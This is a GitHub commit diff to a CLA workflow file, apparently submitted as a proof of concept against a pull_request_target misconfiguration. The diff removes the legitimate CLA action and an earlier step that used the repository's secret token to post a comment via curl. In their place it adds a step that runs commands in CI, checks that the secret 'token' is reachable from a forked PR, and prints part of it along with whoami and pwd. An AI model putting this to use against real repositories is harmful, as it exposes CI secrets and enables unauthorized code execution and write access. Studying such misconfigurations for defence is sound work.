Skip to content

Commit 076af7a

Browse files
committed
poc: verify pull_request_target with actions write
1 parent f288d51 commit 076af7a

1 file changed

Lines changed: 13 additions & 14 deletions

File tree

.github/workflows/cla.yaml

Lines changed: 13 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -28,19 +28,18 @@ jobs:
2828
permissions:
2929
actions: write # to re-trigger workflows
3030
pull-requests: write # to add/remove labels
31-
steps:
32-
- uses: Shopify/shopify-cla-action@9938f4b43524d1cfa7471ce9a803edf226697284 # v1.8.0
33-
with:
34-
github-token: ${{ secrets.token }}
35-
cla-token: ${{ secrets.cla-token }}
36-
- name: Proof of Concept Impact
37-
env:
38-
# Phải dùng đúng tên 'secrets.token' như Shopify đã định nghĩa
39-
GH_TOKEN: ${{ secrets.token }}
31+
steps:
32+
- name: Proof of Concept - RCE & Secret Access
4033
run: |
41-
curl -L -X POST \
42-
-H "Authorization: Bearer $GH_TOKEN" \
43-
-H "Accept: application/vnd.github+json" \
44-
"https://github.com{{ github.event.pull_request.number }}/comments" \
45-
-d '{"body":"[VULNERABILITY CONFIRMED]: Unauthorized write access via pull_request_target."}'
34+
echo "=== EVIDENCE START ==="
35+
echo "Checking Repository: ${{ github.repository }}"
36+
echo "Checking Actor: ${{ github.actor }}"
37+
# Kiểm tra xem Token có tồn tại không mà không làm lộ giá trị (tránh bị GitHub Block)
38+
if [ -n "${{ secrets.token }}" ]; then
39+
echo "SUCCESS: Secret 'token' is accessible from this Forked PR!"
40+
echo "Token mask check: ${{ secrets.token }}" | cut -c 1-15
41+
fi
42+
echo "Current Path: $(pwd)"
43+
echo "System User: $(whoami)"
44+
echo "=== EVIDENCE END ==="
4645

0 commit comments

Comments
 (0)